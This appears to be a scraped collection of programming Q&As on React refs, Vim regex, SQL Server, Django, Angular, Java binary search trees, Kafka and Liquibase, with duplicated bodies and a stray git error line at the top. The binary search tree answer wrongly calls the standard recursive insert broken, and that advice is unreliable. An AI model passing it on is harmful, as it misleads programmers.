fatal: cannot lock ref 'refs/heads/master/foo': 'refs/heads/master' exists;
cannot create 'refs/heads/master/foo'


问:
[React]: UseRef to scrollIntoView last message of different threads IF needed
I am having an issue where in my app, the user can load different message threads, and if that thread has grown longer than the viewing area, (ie, needs a scrollbar to view bottom messages), then I want to auto scroll to the last message.

Using a useRef I tag a place right after my map like so:

```<code>currentList.map(elem => ( <div>{elem}</div>) )
<div ref={messagesRef} /> // <------Here
</code>```

My issue is that by using the useRef.current field, my message thread selections is always one step behind, because the ref updates from null after mount and therefore is behind what I am actively selected on.  Also because of this, I had to force a check to make sure I didn't try to do anything to that null ref like so:

```<code>useEffect(() => {
  if (messagesRef.current) { // < -- make sure we're not null
    scrollToBottom();
  }
}, [messagesRef]);
</code>```

scrollToBottom method is this:

```<code>const scrollToBottom = () => {
  messagesRef.current.scrollIntoView({
    behavior: "smooth",
    block: "nearest" // <-- only scroll this div, not the parent as well
  });
};
</code>```

As I said before, my goal is to let the user select different threads, and for any thread that needs to be scrolled to the bottom, I'll do that for them.  However, as they select a thread, when logging out the status of the ref messagesRef.current, it is rendering 1 thread behind what is selected.  I checked this by outputting the result of messagesRef.current.parentNode.offsetHeight.

Each thread that didn't need to be scrolled, had an offsetHeight less than my message window height ( 500 in my case ).  While the one that did need to be scrolled, was larger than my window height.

Very frustrating trying to rely on this useRef, when the current value is not updating with my selections.

答:
While I wasn't able to solve the issue with useRef being one step behind my selections, I was able to resolve my ultimate issue and produce the result I was looking for; autoscrolling to the last message, IF we need to.

While useRef.current was behind, what wasn't behind was the state of my message threads. So by using that to check when I need to scroll, problem was solved.

```<code>useEffect(() => {
  // be sure we need to scroll, length of 2 equates to the visual size of the message box
  if (currentList.length > 2) { // <-- more than 2, we've grown outside the window
    scrollToBottom();
  }
  }, [currentList]); // <- update dependency array to state, not the Ref
</code>```

Here is my final working version.  You can see the thread start out empty, then as you select on the buttons, the thread will scroll to the bottom, if needed.

https://codesandbox.io/s/userefissue-v86kq

Hope this helps someone down the road, and if there are any tips on how to keep my ref updated with my current selection, I'd love to hear the solution!

Body:
I am having an issue where in my app, the user can load different message threads, and if that thread has grown longer than the viewing area, (ie, needs a scrollbar to view bottom messages), then I want to auto scroll to the last message.

Using a useRef I tag a place right after my map like so:

currentList.map(elem => (
{elem}
) )

 // <------Here

My issue is that by using the useRef.current field, my message thread selections is always one step behind, because the ref updates from null after mount and therefore is behind what I am actively selected on.  Also because of this, I had to force a check to make sure I didn't try to do anything to that null ref like so:

useEffect(() => {
  if (messagesRef.current) { // < -- make sure we're not null
    scrollToBottom();
  }
}, [messagesRef]);

scrollToBottom method is this:

const scrollToBottom = () => {
  messagesRef.current.scrollIntoView({
    behavior: "smooth",
    block: "nearest" // <-- only scroll this div, not the parent as well
  });
};

As I said before, my goal is to let the user select different threads, and for any thread that needs to be scrolled to the bottom, I'll do that for them.  However, as they select a thread, when logging out the status of the ref messagesRef.current, it is rendering 1 thread behind what is selected.  I checked this by outputting the result of messagesRef.current.parentNode.offsetHeight.

Each thread that didn't need to be scrolled, had an offsetHeight less than my message window height ( 500 in my case ).  While the one that did need to be scrolled, was larger than my window height.

Very frustrating trying to rely on this useRef, when the current value is not updating with my selections.

Body:
While I wasn't able to solve the issue with useRef being one step behind my selections, I was able to resolve my ultimate issue and produce the result I was looking for; autoscrolling to the last message, IF we need to.

While useRef.current was behind, what wasn't behind was the state of my message threads. So by using that to check when I need to scroll, problem was solved.

useEffect(() => {
  // be sure we need to scroll, length of 2 equates to the visual size of the message box
  if (currentList.length > 2) { // <-- more than 2, we've grown outside the window
    scrollToBottom();
  }
  }, [currentList]); // <- update dependency array to state, not the Ref

Here is my final working version.  You can see the thread start out empty, then as you select on the buttons, the thread will scroll to the bottom, if needed.

https://codesandbox.io/s/userefissue-v86kq

Hope this helps someone down the road, and if there are any tips on how to keep my ref updated with my current selection, I'd love to hear the solution!


问:
How to delete characters till the end after digits
I have input as below

```<code>1sum
2subtract
3multipy
4divide
...
</code>```

Expected output:

```<code>1
2
3
4
...
</code>```

I tried %s/[0-9].*//g
But it is deleting digits also
I want to retain digits..pls help

答:
You're matching everything including the digits themselves.

An easy way to accomplish what you're after is to use \D to match the first non-digit character and then delete to the end of the line:

```<code>:%s/\D.*//
</code>```

Note that \D is the same as [^0-9] which is any character except for a digit, so adding the caret to your original expression would have worked as well:

```<code>:%s/[^0-9].*//
</code>```

You don't need the /g at the end (even though it doesn't hurt), since you can have at most one match per line, since the match will always consume until the end of the line.

Body:
I have input as below

1sum
2subtract
3multipy
4divide
...

Expected output:

1
2
3
4
...

I tried %s/[0-9].*//g
But it is deleting digits also
I want to retain digits..pls help

Body:
You're matching everything including the digits themselves.

An easy way to accomplish what you're after is to use \D to match the first non-digit character and then delete to the end of the line:

:%s/\D.*//

Note that \D is the same as [^0-9] which is any character except for a digit, so adding the caret to your original expression would have worked as well:

:%s/[^0-9].*//

You don't need the /g at the end (even though it doesn't hurt), since you can have at most one match per line, since the match will always consume until the end of the line.


答:
With out using CTE you can use the  master.dbo.spt_values trick. Not sure the actual purpose of this table in msdb, but it contains the values we need. Give it a try. If you have bigger values than spt_values, then divide your max id by spt_value's max, and replace number+1 with number+1+(@currentbatch*@maxsptvalues) (first batch is batch 0). I haven't tested it nor written then code for it, but something of that sort should certainly work. You can do it in a while loop for instance.

```<code>IF OBJECT_ID('tmptbl') IS NOT null
DROP TABLE tmptbl
GO
SELECT * INTO tmptbl
FROM
(
SELECT '1' [id]
UNION
SELECT '3'
UNION
SELECT '5' ) t

DECLARE @maxid INT = 0
SELECT @maxid = MAX(id) FROM tmptbl

SELECT number+1
FROM master.dbo.spt_values
WHERE number < @maxid
AND Type = 'p'
AND NOT EXISTS ( SELECT 1
                    FROM dbo.tmptbl
                    WHERE CONVERT(INT,[id]) = (number+1))
ORDER BY number
</code>```

The Result:
2,4

Title: Get all Numbers that are not existing from a Microsoft SQL-VarChar-Column

Body:
I have a table with a Column for ID-Numbers that are not increased in single steps.

So there are Numbers that are not used and this i need. The Column is a VarChar-Column.

For Example:

Used Numbers in the table = 2, 5, 7, 9, 10 etc.

So i need a Query that gives me = 1, 3, 4, 6, 8 etc.

Pseudo-Code something like:

select numbers from Table NOT IN (select numbers from table)!

I have tried with NOT IN and NOT EXISTS, but nothing works.

Can someone help me to achieve this?

EDIT: Range of Numbers is from 0 to 99999999 !!!

Body:
With out using CTE you can use the  master.dbo.spt_values trick. Not sure the actual purpose of this table in msdb, but it contains the values we need. Give it a try. If you have bigger values than spt_values, then divide your max id by spt_value's max, and replace number+1 with number+1+(@currentbatch*@maxsptvalues) (first batch is batch 0). I haven't tested it nor written then code for it, but something of that sort should certainly work. You can do it in a while loop for instance.

IF OBJECT_ID('tmptbl') IS NOT null
DROP TABLE tmptbl
GO
SELECT * INTO tmptbl
FROM
(
SELECT '1' [id]
UNION
SELECT '3'
UNION
SELECT '5' ) t

DECLARE @maxid INT = 0
SELECT @maxid = MAX(id) FROM tmptbl

SELECT number+1
FROM master.dbo.spt_values
WHERE number < @maxid
AND Type = 'p'
AND NOT EXISTS ( SELECT 1
                    FROM dbo.tmptbl
                    WHERE CONVERT(INT,[id]) = (number+1))
ORDER BY number

The Result:
2,4


问:
Displaying results for items that have value in one of the field in the table
Is there a way to display content based on th value in the table field? Lets say that I have a field in my table called label, which isnt obligatory to fill in, can I filter the content based on if that field is populated for specific item? Item that has that field populated would be displayed and item with that field left blank wouldnt.

model.py:

```<code>class Item(models.Model):
  title = models.CharField(max_length=100)
  price = models.FloatField()
  discount_price = models.FloatField(blank=True, null=True)
  category = models.ManyToManyField(Category, blank=True)
  label = models.ManyToManyField(Label, blank=True)
  slug = models.SlugField(unique=True)
  description = models.TextField()
  image = models.ImageField()
</code>```

views.py:

```<code>def HomeView(request):
  item_list = Item.objects.all()
  context = {
    'item_list': item_list,
  }
  return render(request, "home.html", context)
</code>```

答:
Use filter

```<code>item_list = Item.objects.filter(label = your_label_item)
</code>```

if you want to get all Items where label is not null you can use this

```<code>item_list = Item.objects.filter(label__isnull = False)
</code>```

Body:
Is there a way to display content based on th value in the table field? Lets say that I have a field in my table called label, which isnt obligatory to fill in, can I filter the content based on if that field is populated for specific item? Item that has that field populated would be displayed and item with that field left blank wouldnt.

model.py:

class Item(models.Model):
  title = models.CharField(max_length=100)
  price = models.FloatField()
  discount_price = models.FloatField(blank=True, null=True)
  category = models.ManyToManyField(Category, blank=True)
  label = models.ManyToManyField(Label, blank=True)
  slug = models.SlugField(unique=True)
  description = models.TextField()
  image = models.ImageField()

views.py:

def HomeView(request):
  item_list = Item.objects.all()
  context = {
    'item_list': item_list,
  }
  return render(request, "home.html", context)

Body:
Use filter

item_list = Item.objects.filter(label = your_label_item)

if you want to get all Items where label is not null you can use this

item_list = Item.objects.filter(label__isnull = False)


问:
Angular 9 MatExpansionModule could not be resolved
import { MatExpansionModule } from '@angular/material/expansion';

I also have MatExpansionModule in my imports and it's crashing.

Did I do something wrong or is there a problem with @angular/material?

The other add is in app.module.ts but that was just attempt of a solution read on github - obviously it did not work.

dashboard module

error message

答: Deleted node_modules folder and ran 'npm install'. It's working now.</p>


问:
Delete node in binary search tree
I have implemented the following methods for deleting a node in a BST for following the example that is posted here:

class NodeT

```<code>public class NodeT {
    int elem;
    NodeT left;
    NodeT right;
    public NodeT(int elem){
        this.elem=elem;
    }
}
</code>```

class BinaryTree

```<code>public class BinaryTree {
    NodoT root;
    public void insertElem(int n){
        root=addRec(root,n);
    }
    public NodoT addRec(NodeT n, int elem){
        if (n==null){
            n=new NodeT(elem);
        }
        else{
            if (elem<n.elem){
                n.left=addRec(n.left,elem);
            }
            else{
                n.right=addRec(n.right,elem);
            }
        }
        return n;
    }
    public void inorder(NodeT n){
        if (n!=null){
            inorder(n.left);
            System.out.println(n.elem);
            inorden(n.right);
        }
    }

    public NodeT search(NodeT root, int n){
        if (root.elem==n) return root;
        else{
            if (n<root.elem){
                if (root.left!=null){
                    return search(root.left,n);
                }
                else return null;
            }
            else{
                if (root.right!=null){
                    return search(root.right,n);
                }
                else return null;
            }
        }
    }

    public void delete(int n){
       root=deleteNode(root,n);
    }

    public NodeT deleteNode(NodeT curr, int n){
        NodoT answ;
        answ=search(curr,n);
        if (answ==null){
            System.out.println("not found");
            return curr;
        }
        else{

            if (curr.left==null)return curr.right;
            else if (curr.right==null) return curr.left;
            curr.elem=minValue(curr.right);
            curr.right=deleteNode(curr.right,curr.elem);
        }
        return curr;
    }

    int minValue(NodoT curr){

        int min=curr.elem;
        while (curr.left!=null){
            menor=curr.left.elem;
            curr=curr.left;
        }
        return min;
    }

//main program

BinaryTree bt=new BinaryTree();
   int data[]={50,30,70,20,40,60,80};

    for (int i=0;i<data.length;i++){
        bt.insertElem(data[i]);
    }
    bt.inorder(bt.root);

    bt.delete(20);
    bt.inorder(bt.root);

    bt.delete(30);
    bt.inorder(bt.root);

    bt.delete(50);
    bt.inorder(bt.root);
</code>```

However, when I tested,  it prints "not found" on line bt.delete(50);, what am I doing wrong?

答:
insertElem

```<code>public void insertElem(int n){
    root=addRec(root,n);
}
</code>```

You are overriding root each time you add some values, so at the second insert you forget about its parent and so on and you will end up only knowing about 80, since that's the last element that you insert and the last value that you override root with. root should only initialized if it's null, like

```<code>if (root == null) root=addRec(root,n);
</code>```

addRec

```<code>public NodoT addRec(NodeT n, int elem){
    if (n==null){
        n=new NodeT(elem);
    }
    else{
        if (elem<n.elem){
            n.left=addRec(n.left,elem);
        }
        else{
            n.right=addRec(n.right,elem);
        }
    }
    return n;
}
</code>```

You always set n.left or n.right to the value returned by addRec, which ruins your structure. You are correct to call addRec, but should only assign it to n.left or n.right if the respective value is null.

inorder

Seems not to be relevant from our current point of view.

search

Looks good.

delete

Looks good.

deleteNode

```<code>public NodeT deleteNode(NodeT curr, int n){
    NodoT answ;
    answ=search(curr,n);
    if (answ==null){
        System.out.println("not found");
        return curr;
    }
    else{

        if (curr.left==null)return curr.right;
        else if (curr.right==null) return curr.left;
        curr.elem=minValue(curr.right);
        curr.right=deleteNode(curr.right,curr.elem);
    }
    return curr;
}
</code>```

You are not comparing the actual numbers. The idea should be that the item to be removed will be searched in the right branch if the value is higher than the current node's value and the left branch otherwise. If the branch where you need to search at reaches null, then the item does not exist in the tree. See Zain Arshad's implementation. I would have done something similar, but since he has already implemented it, I refer to that and upvote it,

Title: Delete node in binary search tree

Body:
I have implemented the following methods for deleting a node in a BST for following the example that is posted here:

class NodeT

public class NodeT {
    int elem;
    NodeT left;
    NodeT right;
    public NodeT(int elem){
        this.elem=elem;
    }
}

class BinaryTree

public class BinaryTree {
    NodoT root;
    public void insertElem(int n){
        root=addRec(root,n);
    }
    public NodoT addRec(NodeT n, int elem){
        if (n==null){
            n=new NodeT(elem);
        }
        else{
            if (elem<n.elem){
                n.left=addRec(n.left,elem);
            }
            else{
                n.right=addRec(n.right,elem);
            }
        }
        return n;
    }
    public void inorder(NodeT n){
        if (n!=null){
            inorder(n.left);
            System.out.println(n.elem);
            inorden(n.right);
        }
    }

    public NodeT search(NodeT root, int n){
        if (root.elem==n) return root;
        else{
            if (n<root.elem){
                if (root.left!=null){
                    return search(root.left,n);
                }
                else return null;
            }
            else{
                if (root.right!=null){
                    return search(root.right,n);
                }
                else return null;
            }
        }
    }

    public void delete(int n){
       root=deleteNode(root,n);
    }

    public NodeT deleteNode(NodeT curr, int n){
        NodoT answ;
        answ=search(curr,n);
        if (answ==null){
            System.out.println("not found");
            return curr;
        }
        else{

            if (curr.left==null)return curr.right;
            else if (curr.right==null) return curr.left;
            curr.elem=minValue(curr.right);
            curr.right=deleteNode(curr.right,curr.elem);
        }
        return curr;
    }

    int minValue(NodoT curr){

        int min=curr.elem;
        while (curr.left!=null){
            menor=curr.left.elem;
            curr=curr.left;
        }
        return min;
    }

//main program

BinaryTree bt=new BinaryTree();
   int data[]={50,30,70,20,40,60,80};

    for (int i=0;i<data.length;i++){
        bt.insertElem(data[i]);
    }
    bt.inorder(bt.root);

    bt.delete(20);
    bt.inorder(bt.root);

    bt.delete(30);
    bt.inorder(bt.root);

    bt.delete(50);
    bt.inorder(bt.root);

However, when I tested,  it prints "not found" on line bt.delete(50);, what am I doing wrong?

Body:
insertElem

public void insertElem(int n){
    root=addRec(root,n);
}

You are overriding root each time you add some values, so at the second insert you forget about its parent and so on and you will end up only knowing about 80, since that's the last element that you insert and the last value that you override root with. root should only initialized if it's null, like

if (root == null) root=addRec(root,n);

addRec

public NodoT addRec(NodeT n, int elem){
    if (n==null){
        n=new NodeT(elem);
    }
    else{
        if (elem<n.elem){
            n.left=addRec(n.left,elem);
        }
        else{
            n.right=addRec(n.right,elem);
        }
    }
    return n;
}

You always set n.left or n.right to the value returned by addRec, which ruins your structure. You are correct to call addRec, but should only assign it to n.left or n.right if the respective value is null.

inorder

Seems not to be relevant from our current point of view.

search

Looks good.

delete

Looks good.

deleteNode

public NodeT deleteNode(NodeT curr, int n){
    NodoT answ;
    answ=search(curr,n);
    if (answ==null){
        System.out.println("not found");
        return curr;
    }
    else{

        if (curr.left==null)return curr.right;
        else if (curr.right==null) return curr.left;
        curr.elem=minValue(curr.right);
        curr.right=deleteNode(curr.right,curr.elem);
    }
    return curr;
}

You are not comparing the actual numbers. The idea should be that the item to be removed will be searched in the right branch if the value is higher than the current node's value and the left branch otherwise. If the branch where you need to search at reaches null, then the item does not exist in the tree. See Zain Arshad's implementation. I would have done something similar, but since he has already implemented it, I refer to that and upvote it,


问:
Kafka:consumer not consuming messages from commandline
D:\Softwares\kafka\kafka_2.10-0.10.0.1\bin\windows>kafka-console-consumer.bat --zookeeper localhost:2181 --topic sampletopic

I used above command to consume the messages, is there anything I have missed? Help me on:

this

those are producer and consumer....

答:
This is on Windows 10

I know this is very old but in case someone else comes in here looking for an answer, the issue could be that kafka-console-consumer.bat is empty as it was for me.
I was doing

.\bin\windows\kafka-console-consumer.bat --bootstrap-server localhost:9092 --topic myTopic

and nothing would happen in the command line, same as to the person who asked this question, until I figured out the script file I'm trying to run has nothing in it. I found someone else who had theirs intact and just copied and pasted the contents in.

I don't understand how this file got empty but at some point, I couldn't get a topic to be released after I had deleted it and had tried a lot of things to fix this and perhaps this is when somehow that script file got cleared out.


问:
LiquibasePro don't generate package, packagebody and other things in the changeLog file
I use LiquibasePro and liquibase pro don't generate package, packagebody, fuction and etc. into changeLog file.
How to fix this?</p>

答: Do you have a trial license? That would be the first thing to check. If you do have a license and have included it in the liquibase.properties file, you should be contacting Liquibase Pro support using the email address that you received when you signed up for the trial rather than asking here on Stack Overflow.